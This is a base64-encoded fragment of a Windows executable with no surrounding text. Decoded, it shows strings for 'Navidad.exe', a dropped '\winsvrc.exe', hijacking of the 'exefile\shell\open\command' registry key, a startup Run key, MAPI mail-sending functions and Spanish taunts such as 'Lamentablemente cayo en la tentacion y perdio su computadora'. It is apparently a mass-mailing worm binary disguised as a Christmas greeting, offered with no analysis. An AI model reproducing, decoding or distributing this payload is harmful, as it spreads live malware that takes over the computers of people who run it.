AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADCWAAA0FgAAORYAAD0WAAABlkAAAAAAACIVgAAtFYAAMpWAADWVgAA mFYAAKhWAAAEVwAAEFcAABxXAAB2VgAAZlYAAFRWAADuVgAA4lYAAEhWAABsWQAAWlkAAExbAAA8 WwAALFsAABZbAAAKWwAAAFsAAPRaAADmWgAA1loAAMpaAAC+WgAAsloAAKRaAACWWgAAiFoAAHpa AABeWwAAflkAAD5aAAAmWgAAWFoAAPZZAADcWQAAEFoAAEZZAABqWgAAwFkAAJhZAACMWQAArFkA AAAAAAAmWQAAAAAAADhXAABGVwAAqlgAAFJXAABmVwAAmFgAAIZYAABsWAAAXlgAAExYAAA+WAAA LlgAACJYAAAWWAAABlgAAPRXAADkVwAA1lcAAMJXAAC0VwAAoFcAAJJXAAB6VwAAAAAAAP////91 HEAAiRxAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAA AABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAA AFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAA UjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABS NjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8g b3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0K AAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2 DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1l bnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQot IGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50 aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dy YW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVz c2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAD/////5UBAAOlAQAD/////mUFAAJ1BQAD///// HUNAACFDQAAgVQAAAAAAAAAAAAAqVwAAGFAAAOhVAAAAAAAAAAAAALZYAADgUAAACFUAAAAAAAAA AAAAGFkAAABQAADgVQAAAAAAAAAAAAA6WQAA2FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwlgAANBY AADkWAAA9FgAAAZZAAAAAAAAiFYAALRWAADKVgAA1lYAAJhWAACoVgAABFcAABBXAAAcVwAAdlYA AGZWAABUVgAA7lYAAOJWAABIVgAAbFkAAFpZAABMWwAAPFsAACxbAAAWWwAAClsAAABbAAD0WgAA 5loAANZaAADKWgAAvloAALJaAACkWgAAlloAAIhaAAB6WgAAXlsAAH5ZAAA+WgAAJloAAFhaAAD2 WQAA3FkAABBaAABGWQAAaloAAMBZAACYWQAAjFkAAKxZAAAAAAAAJlkAAAAAAAA4VwAARlcAAKpY AABSVwAAZlcAAJhYAACGWAAAbFgAAF5YAABMWAAAPlgAAC5YAAAiWAAAFlgAAAZYAAD0VwAA5FcA ANZXAADCVwAAtFcAAKBXAACSVwAAelcAAAAAAAApA2xzdHJjbXBBAABdAUdldFByb2ZpbGVJbnRB AACPAUdldFZlcnNpb25FeEEAUwFHZXRQcm9jQWRkcmVzcwAA3wFMb2FkTGlicmFyeUEAAI8CU2V0 RXJyb3JNb2RlAAAvA2xzdHJjcHlBAAA4AUdldE1vZHVsZUZpbGVOYW1lQQAANQNsc3RybGVuQQAA MgNsc3RyY3B5bkEAJgNsc3RyY2F0QQAAcAFHZXRTeXN0ZW1EaXJlY3RvcnlBACsAQ29weUZpbGVB ACwDbHN0cmNtcGlBAIwARXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAACMAERlc3Ryb3lJY29uAJ4B TG9hZEljb25BAJUARGlzcGF0Y2hNZXNzYWdlQQAAggJUcmFuc2xhdGVNZXNzYWdlAAB/AlRyYW5z bGF0ZUFjY2VsZXJhdG9yQQAqAUdldE1lc3NhZ2VBAJYBTG9hZEFjY2VsZXJhdG9yc0EAqwFMb2Fk U3RyaW5nQQDzAVJlZ2lzdGVyQ2xhc3NFeEEAAJoBTG9hZEN1cnNvckEAkQJVcGRhdGVXaW5kb3cA AFkAQ3JlYXRlV2luZG93RXhBAI4ARGVzdHJveVdpbmRvdwC7AEVuZFBhaW50AACvAERyYXdUZXh0 QQDwAEdldENsaWVudFJlY3QADABCZWdpblBhaW50AACEAERlZldpbmRvd1Byb2NBAAC+AU1lc3Nh Z2VCb3hBAAACUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAA4AFQb3N0UXVpdE1lc3NhZ2UAkwBEaWFs b2dCb3hQYXJhbUEAuQBFbmREaWFsb2cAVVNFUjMyLmRsbAAAWwFSZWdDbG9zZUtleQB7AVJlZ1F1 ZXJ5VmFsdWVFeEEAAHIBUmVnT3BlbktleUV4QQCGAVJlZ1NldFZhbHVlRXhBAABfAVJlZ0NyZWF0 ZUtleUV4QQBBRFZBUEkzMi5kbGwAAHkAU2hlbGxfTm90aWZ5SWNvbkEAU0hFTEwzMi5kbGwAOgFH ZXRNb2R1bGVIYW5kbGVBAABmAUdldFN0YXJ0dXBJbmZvQQDaAEdldENvbW1hbmRMaW5lQQCOAUdl dFZlcnNpb24AALQBSGVhcEFsbG9jAMsCVGVybWluYXRlUHJvY2VzcwAACQFHZXRDdXJyZW50UHJv Y2VzcwDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdz QQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVu dmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAJgCU2V0SGFuZGxlQ291 bnQAAGgBR2V0U3RkSGFuZGxlAAAoAUdldEZpbGVUeXBlALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3Jl YXRlAADxAlZpcnR1YWxGcmVlALoBSGVhcEZyZWUAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlAO4C VmlydHVhbEFsbG9jAAC9AUhlYXBSZUFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9F TUNQAAACAk11bHRpQnl0ZVRvV2lkZUNoYXIA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdX AABpAUdldFN0cmluZ1R5cGVBAABsAUdldFN0cmluZ1R5cGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFjZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MQAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE1lc3NhZ2luZyBTdWJzeXN0ZW0AAE1haWwA AAAATUFQSQAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSURldGFpbHMATUFQSUFkZHJlc3MATUFQSUZy ZWVCdWZmZXIAAE1BUElEZWxldGVNYWlsAABNQVBJU2F2ZU1haWwAAAAATUFQSVJlYWRNYWlsAAAA AE1BUElGaW5kTmV4dAAAAABNQVBJU2VuZERvY3VtZW50cwAAAE1BUElTZW5kTWFpbAAAAABNQVBJ TG9nb2ZmAABNQVBJTG9nb24AAABNQVBJMzIuRExMAABOYXZpZGFkLmV4ZQBUZSBlc3RhbW9zIG1p cmFuZG8uLgAAAAAgIiUxIiAlKgAAAABcd2luc3ZyYy5leGUAAAAAZXhlZmlsZVxzaGVsbFxvcGVu XGNvbW1hbmQAAFdpbjMyQmFzZVNlcnZpY2VNT0QAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc Q3VycmVudFZlcnNpb25cUnVuAAAAXHdpbnN2cmMudnhkAAAAAExvIGVzdGFtb3MgbWlyYW5kby4u LgAAAFVJAABubwAARHVsY2U/AABTT0ZUV0FSRVxOYXZpZGFkAAAAAHRjbGljawAAVGFza2JhckNy ZWF0ZWQAAGJ1ZW5hIGVsZWNjaW9uLi4uAAAATGFtZW50YWJsZW1lbnRlIGNheW8gZW4gbGEgdGVu dGFjaW9uIHkgcGVyZGlvIHN1IGNvbXB1dGFkb3JhAAAAAEZlbGl6IE5hdmlkYWQAAACPHUAAAgAA AAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADA CAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACT AADACAAAAAAAAAADAAAABwAAAAoAAACMAAAA/////wAKAAAQAAAAIAWTGQAAAAAAAAAAAAAAAAAA AAACAAAAsFNAAAgAAACEU0AACQAAAFhTQAAKAAAANFNAABAAAAAIU0AAEQAAANhSQAASAAAAtFJA ABMAAACIUkAAGAAAAFBSQAAZAAAAKFJAABoAAADwUUAAGwAAALhRQAAcAAAAkFFAAHgAAACAUUAA eQAAAHBRQAB6AAAAYFFAAPwAAABcUUAA/wAAAExRQAD4AwAAAAAAAAECBAgAAAAApAMAAGCCeYIh AAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAA AAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAA AAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4A AAAA6mRAAOpkQAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACE AIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgAC AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABgADAAAAQAAAgAQAAABoAACABQAAAIAAAIAGAAAAoAAAgAkAAAC4AACA DgAAANAAAIAAAAAAAAAAAAAAAAAAAAMAAQAAAPAAAIACAAAACAEAgAMAAAAgAQCAAAAAAAAAAAAA AAAAAAABAG0AAAA4AQCAAAAAAAAAAAAAAAAAAAACAGUAAABQAQCAZwAAAGgBAIAAAAAAAAAAAAAA AAAAAAEABwAAAIABAIAAAAAAAAAAAAAAAAAAAAEAbQAAAJgBAIAAAAAAAAAAAAAAAAAAAAIAggAA ALABAICDAAAAyAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA4AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 8AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAEAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAIAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAQAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAIByAADoAgAAAAAAAAAAAABodQAAKAEAAAAAAAAAAAAA uHYAAOgCAAAAAAAAAAAAALh5AABKAAAAAAAAAAAAAAAIewAAhgAAAAAAAAAAAAAAGHoAAO4AAAAA AAAAAAAAAJB7AABUAAAAAAAAAAAAAAAIegAAEAAAAAAAAAAAAAAAkHYAACIAAAAAAAAAAAAAAKB5 AAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////APAP/w8AAPD/D/DwAP8P8A8PD/8PD/Dw8PDw//Dw8PDwDw//Dw/w8PDw8PAA8PDw8A8P//Dw DwDw8ADw//Dw8PAPD/AA8A/w/w/w8AD/D/DwDw/////////////////w8A8AAAAAAAAAAAAAAAAA APAP///////////////////wDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA /w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDw Dw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8P D/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8P APDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/w D/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw 8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A////////////////////DwAAAAAAAAAAAAAAAA AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD/ /wAA////AAAPDw8AAPAADw8PAAAAAPAPAPAA8A/w8A8P//////DwDwAAAAAAAPAP////////8A8P APDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A 8PDwAPAP////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAo AQAAAgAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj//4AAAAAAAAAAAAAAAI/8zMzP +AAAAAAAAAAAAI/8zMzMzM//gAAAAAAAAI//zMzMzMzM//+AAAAAAAj//MTMzMzMTM//+AAAAACP /8zMTMAMxMzM//+AAAAP///ETMAAAAzETP//8AAAiI/8zMTAAAAMTMzP+IgAAAeIjMTMAAAAAMxM yIhwAAAAeIxERAAAAABERMiHAAAAAAd8RERACIAERETHcAAAAAAADEREQA/wBEREwAAAAAAAAAAE RERABERETAAAAAAAAAAAAARERERERAAAAAAAAAAAAAAAAEREAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ////////////////////////////////////////////+B///8AD//8AAH/8AAAf+AAAD/AAAAfg AAACQAAAAoAAAACAAAABwAAAA+AAAAfwAAAP/AAAP/8AAH//wAH///gf//////////////////// //////////////////8AAAEAAQAgIBAAAQAEAOgCAAADAAAAAAAAAAAAEAAmAEYAaQBsAGUAAACA AGkARQAmAHgAaQB0AAAAkAAmAEgAZQBsAHAAAACAAGgAJgBBAGIAbwB1AHQAIAAuAC4ALgAAAAAA AAAAABAAPwBoAAAAkAAvAGgAAADAAMgAAAAAAAQAFgARAOYASwAAAAAAQQBiAG8AdQB0AAAACABT AHkAcwB0AGUAbQAAAAAAAwAAUAAAAAAOAAkAEAAQAAIA//+CAP//awAAAIAAAlAAAAAAMQAKAHcA CAD/////ggBOAGEAdgBpAGQAYQBkACAAVgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAJQAAAA ADEAFAB3AAgA/////4IAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAwADAAAAAAAAAA AQADUAAAAADDAAYAHgALAAEA//+AAE8ASwAAAAAAAABCCMiAAAAAAAEAAAAAAJAAJgAAAAAAAAAL AEMAbwBtAGkAYwAgAFMAYQBuAHMAIABNAFMAAAAAAAEAAVAAAAAADAAHAHYAFgDoA///gABOAHUA bgBjAGEAIABwAHIAZQBzAGkAbwBuAGEAcgAgAGUAcwB0AGUAIABiAG8AdABvAG4AAAAAAAAAAAAA 